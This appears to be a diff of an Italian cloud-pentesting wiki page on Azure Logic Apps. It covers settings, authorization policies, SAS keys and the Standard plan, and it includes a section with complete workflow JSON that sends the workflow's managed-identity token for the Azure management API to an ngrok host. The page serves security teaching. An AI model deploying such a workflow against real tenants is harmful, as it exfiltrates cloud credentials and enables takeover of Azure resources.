Alta capacità: Questa impostazione consente alla tua Logic App di gestire più richieste rapidamente. -- Conservazione della cronologia delle esecuzioni: per quanto tempo viene mantenuta la cronologia delle esecuzioni della tua Logic App. +Le azioni hanno anche varie **impostazioni**, che dipendono dall'azione stessa. Alcune delle impostazioni più comuni sono: -Puoi vedere le diverse connessioni API che il workflow ha. All'interno di ciascuna di queste connessioni hanno diverse proprietà e la possibilità di modificare la connessione API dove il tipo di autenticazione può essere cambiato. +- **Politica di ripetizione**: Configura il numero di ripetizioni e l'intervallo tra di esse. +- **Timeout**: Imposta il tempo massimo in cui l'azione può essere eseguita prima di scadere. +- **Esegui dopo**: Specifica le condizioni che devono essere soddisfatte prima che l'azione venga eseguita. +- **Validazione dello schema**: Garantisce che i dati in arrivo seguano una struttura predefinita. +- **Networking**: Configura come gestire diverse intestazioni. +- **Input/Output sicuri**: Questo nasconderà i dati di input/output dalla cronologia delle esecuzioni. +- ... -**Cronologia & Versioni:** -Ha l'opzione di accedere alla **cronologia** delle diverse esecuzioni, mostra Impostazioni, Output, Parametri e il Codice. +### Politiche di autorizzazione -Ha anche l'opzione di accedere a diverse **versioni** del workflow, dove puoi controllare il codice e cambiare il workflow attuale con una versione precedente di esso. - -**Autorizzazione:** -Le Azure Logic Apps supportano **politiche di autorizzazione** con Entra ID per proteggere i trigger basati su richieste richiedendo un token di accesso valido. Questo token deve includere specifiche dichiarazioni: +Questi flussi di lavoro supportano **politiche di autorizzazione** con Entra ID per proteggere gli attivatori basati su richiesta richiedendo un token di accesso valido. Questo token deve includere specifiche dichiarazioni: - Emittente (iss) per verificare il fornitore di identità - Destinatario (aud) per garantire che il token sia destinato alla Logic App - Soggetto (sub) per identificare il chiamante - ID JWT (identificatore del token Web JSON) - Dichiarazione personalizzata -Quando viene ricevuta una richiesta, le Logic Apps convalidano il token rispetto a queste dichiarazioni e consentono l'esecuzione solo se corrispondono alla politica configurata. Questo può essere utilizzato per consentire a un altro tenant di attivare il workflow o negare l'attivazione da altre fonti, ad esempio consentendo l'attivazione solo se proviene da https://login.microsoftonline.com/. +Quando viene ricevuta una richiesta, Logic Apps convalida il token rispetto a queste dichiarazioni e consente l'esecuzione solo se corrispondono alla politica configurata. Questo può essere utilizzato per consentire a un altro tenant di attivare il flusso di lavoro o negare l'attivazione da altre fonti, ad esempio consentendo l'attivazione solo se proviene da https://login.microsoftonline.com/. -**Chiavi di accesso:** -Quando salvi un trigger basato su richiesta per la prima volta, le Logic Apps creano automaticamente un endpoint unico con una firma SAS (creata dall'Access Key) che concede il permesso di chiamare il workflow. Questa firma SAS è incorporata nell'URL del trigger. Questa chiave può essere rigenerata e fornirà una nuova firma SAS, ma le chiavi non possono essere elencate. +### Chiavi di accesso -L'URL per invocarlo con l'Access Key: +I flussi di lavoro **generano 2 chiavi di accesso** quando vengono creati. Queste chiavi vengono utilizzate per autenticare e autorizzare le richieste al flusso di lavoro. Le chiavi vengono utilizzate per generare un token di firma di accesso condiviso (SAS), che è incluso nell'URL della richiesta. +Quindi, quando viene creato un attivatore di endpoint HTTP, viene generato un **endpoint HTTP unico con una firma SAS** che concede il permesso di chiamare il flusso di lavoro. + +Queste **chiavi possono essere rigenerate** e verrà creato un nuovo URL SAS per questi attivatori, ma i **valori delle chiavi non possono essere accessibili**. + +Esempio di un URL SAS per invocare un attivatore: +``` https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig= +``` +### Impostazioni e Componenti del Workflow + +- **Opzione di accesso al trigger**: Questa impostazione consente di limitare chi può attivare o avviare il tuo workflow. Le opzioni sono Qualsiasi IP, Solo altri workflow e Intervalli IP specifici. +- **Account di integrazione**: Collega il tuo workflow a un Account di Integrazione. +- **Alto throughput**: Se attivato, consente di gestire più richieste in parallelo rapidamente. +- **Conservazione della cronologia delle esecuzioni**: Questo indica il numero di giorni per mantenere la cronologia delle esecuzioni. +- **Connessioni API**: Questo mostra le diverse connessioni API che il workflow ha. All'interno di ciascuna di queste connessioni hanno diverse proprietà e la possibilità di modificare la connessione API dove il tipo di autenticazione può essere cambiato. +- **Cronologia**: Ha l'opzione di accedere alla **cronologia** delle vecchie esecuzioni e ottenere dati: Impostazioni, Output, Parametri e il Codice. +- **Versioni**: Ha l'opzione di accedere a diverse **versioni** del workflow, dove puoi controllare il codice e cambiare il workflow attuale con una versione precedente di esso. +- **Identità Gestite**: È possibile assegnare 1 identità gestita di sistema e un'identità gestita dall'utente al workflow. + +### Token di accesso MI in fuga + +L'azione HTTP in un workflow può essere utilizzata per inviare dati a un web esterno. Nei **Parametri avanzati** dell'azione HTTP, è possibile configurare il **Tipo di autenticazione** come **`Managed identity`** e poi selezionare l'**Identità Gestita assegnata** da utilizzare (sistema o utente). + +Inoltre, è possibile indicare nell'**`Audience`** il pubblico del JWT generato, che potrebbe essere ad esempio **`https://management.azure.com/`** per poter utilizzare il token generato per accedere all'API di gestione di Azure. + +> [!WARNING] +> Facendo in modo che l'azione invii la richiesta HTTP a un server controllato da un attaccante, è possibile **far trapelare il token di accesso dell'identità gestita** assegnata al workflow. + +> [!TIP] +> Un attaccante potrebbe anche utilizzare altri tipi di azioni per **accedere direttamente ad altri servizi Azure** e compiere azioni con i permessi dell'identità gestita. + +Questo è il codice di un workflow che espone un endpoint HTTP e poi utilizza un'azione HTTP per far trapelare il token di accesso all'URL configurato (ngrok in questo caso): + +
+Codice del Workflow +```json +{ +"definition": { +"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", +"contentVersion": "1.0.0.0", +"triggers": { +"When_a_HTTP_request_is_received": { +"type": "Request", +"kind": "Http" +} +}, +"actions": { +"HTTP": { +"runAfter": {}, +"type": "Http", +"inputs": { +"uri": "https://22b6-81-33-70-107.ngrok-free.app", +"method": "GET", +"authentication": { +"type": "ManagedServiceIdentity", +"audience": "https://management.azure.com/" +} +}, +"runtimeConfiguration": { +"contentTransfer": { +"transferMode": "Chunked" +} +} +} +}, +"outputs": {}, +"parameters": { +"$connections": { +"type": "Object", +"defaultValue": {} +} +} +}, +"parameters": { +"$connections": { +"type": "Object", +"value": {} +} +} +} +``` +
+ +## Logic Apps / Piano Standard + +### Differenze con i "Workflow" Singoli + +Le logic app utilizzano fondamentalmente un App Service in background per **ospitare la logic app che può ospitare diversi workflow**. Questo significa che la logic app avrà tutte le funzionalità di un App Service e dei "Workflow" Singoli. + +Al alcune caratteristiche chiave sarebbero: + +- **Piano App Service**: Le Logic Apps nel piano Standard sono ospitate su un Piano App Service, quindi è possibile utilizzare tutte le funzionalità dell'App Service come: +- **Restrizioni di Rete**: Indica da dove è accessibile. +- **Centro di Distribuzione**: Distribuisci da piattaforme esterne come Github, Bitbucket, Azure Repos, Git Esterno e Git Locale. +- **Accesso FTP**: È possibile accedere ai file della Logic App tramite FTP. +- **Account di Archiviazione**: L'app di servizio utilizza un account di archiviazione per memorizzare informazioni. +- **Variabili Env & Impostazioni App**: È possibile configurare variabili di ambiente e impostazioni dell'app (e trovare informazioni sensibili come le chiavi di accesso all'account di archiviazione). +- ... +- **Parametri**: I parametri ti consentono di gestire valori che variano tra sviluppo, test e produzione. Questo ti consente di progettare prima i workflow, quindi regolare facilmente le impostazioni specifiche per l'ambiente in seguito. +- **Risorse Dedicati**: Le Logic Apps nel piano Standard hanno risorse dedicate. +- **Workflow Multipli**: Consente di creare più workflow. + +Per ulteriori informazioni sui Servizi App controlla: + +{{#ref}} +../az-services/az-app-services.md +{{#endref}} + ### Enumerazione @@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " -Integra {{#endtabs }} -## Escalation dei privilegi +## Escalatione dei privilegi Stesso metodo di privesc delle logic apps: @@ -329,4 +405,10 @@ Stesso metodo di privesc delle logic apps: ../az-post-exploitation/az-logic-apps-post-exploitation.md {{#endref}} +## Persistenza + +{{#ref}} +../az-persistence/az-logic-apps-persistence.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}}